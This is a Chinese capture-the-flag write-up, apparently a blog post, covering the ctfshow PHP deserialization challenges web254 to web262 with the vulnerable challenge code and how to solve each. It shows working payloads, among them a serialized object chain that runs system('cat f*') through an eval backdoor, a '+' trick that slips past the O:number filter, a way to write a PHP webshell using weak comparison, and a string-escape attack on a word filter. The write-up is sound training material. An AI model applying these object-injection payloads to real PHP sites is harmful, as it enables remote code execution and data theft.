ctfshow 反序列化1

web254

 主要是考察能不能看懂这个类,跟反序列化没关系

payload:/?username=xxxxxx&password=xxxxxx

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx'; //这里定义了属性值
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){ //这句判断是解题关键$this->username就是xxxxxx
                                  //而$u就是下面GET传入的username
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;  //满足条件后isVip就为真,然后一直顺利走下去了
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();             //实例化类
    if($user->login($username,$password)){ //login方法调用传入的变量
        if($user->checkVip()){          //判断为真进行下一步
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

web255

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){    //相较于上题,判断成功后$isVip也不为true
        return $this->username===$u&&$this->password===$p;  
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    //反序列化cookie传入的user
                                              //这里需要的是实例化这个$user
    if($user->login($username,$password)){   //所以我们构造序列化后的语句并传入cookie来实现
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

由于需要序列化的操作,自己搞个php文件copy代码修改,执行来获得自己想要的东西

我们需要 $user= new ctfShowUser(); 

也就是 new ctfShowUser()  序列化后的字符串,这里还需要url编码

echo urlencode(serialize(new ctfShowUser()));

这样就成了

 

web256

相较于上题,只有这里是不同的,所以只需弄明白怎么绕过这里就可了

很简单,就是让username不等于password,

 public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }

将username 和 password 的值改变了,再去序列化构造 payload

 

 
web257

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();  //这里可以让$this->class表示info()实例化
                                    自然也可以实例化 backDoor()
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);    //解题关键
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

摘抄羽师傅的:

大致浏览下代码会发现我们可以利用的函数eval,要想调用eval就得使用backDoor类中的getinfo。
然后在ctfShowUser类的__destruct中发现了$this->class->getInfo();,那么我们只需要让$this->class是backDoor类的实例化就可以了。
反序列化时,首先调用__destruct,接着调用$this->class->getInfo();也就是backDoor->getinfo(),最后触发eval。

web258 

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

也是在上一题的基础上加强了判断,正则过滤,不能出现 O : 数字  

解释:
[oc] --> 匹配内部某个字符
\d --> 匹配数字
+ --> 匹配至少一个

O:11:"ctfShowUser":1:{s:18:"ctfShowUserclass";O:8:"backDoor":1:{s:14:"backDoorcode";s:17:"system("cat f*");";}} 

也就是过滤了序列化字符串的一种标识,用 +数字 替代 数字

自己构造:

 

web259

有点难啊

从一道题学习SoapClient与CRLF组合拳_Y4tacker的博客-CSDN博客

web260

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

题目意思就是你序列化出来的东西需要包含字符串ctfshow_i_love_36D

payload: /?ctfshow=ctfshow_i_love_36D

因为传值后 $_GET['ctfshow'] 序列化出来的东西就是s:18:"ctfshow_i_love_36D";

 

web261

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){ 
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){  //这题没用
        eval($this->code);
    }

    public function __sleep(){  //这题没用
        $this->username='';   
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){  //弱类型等于877
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']); 

 

这题的关键就是username和password拼接成的$this->code弱等于877(0x36d)

如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,
则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。

 当反序列化时会进入__unserialize中,而且也没有什么方法可以进入到__invoke中

只要满足code==0x36d(877)就可以了。
而code是username和password拼接出来的。
所以只要username=877.php password=shell就可以了。
877.php==877是成立的(弱类型比较)

 先/?vip=序列化内容 ,然后访问877.php 进行rce  (不是很理解)

 

 web262

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

message.php

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }

也就是需要使token变成admin

群主的详解:有关字符逃逸

CTFshow-web入门-反序列化_哔哩哔哩_bilibili

先本地构造,查看字符逃逸

<?php
class message
{
    public $from;
    public $msg;
    public $to;
    public $token = 'user';
    public function __construct($f, $m, $t)
    {
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

function filter($msg)
{
    return str_replace('fuck', 'loveU', $msg); //这里交换值造成字符逃逸
}

$msg = new message('fuck', 'b', 'c');
$msg_1 = serialize($msg); //序列化
echo $msg_1;
//O:7:"message":4:{s:4:"from";s:4:"fuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
$msg_2 = filter($msg_1); //序列化字符串交换fuck和loveU
echo $msg_2;
//O:7:"message":4:           {s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
          这里明显 loveU是5个字符,却表示4个

 

 payload有62个字符,我们之前fuck交换loveU得到1个字符差距

所以这次用62个fuck交换

 根据题意,序列化的结果再去base64,然后传入cookie

 

 

 

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值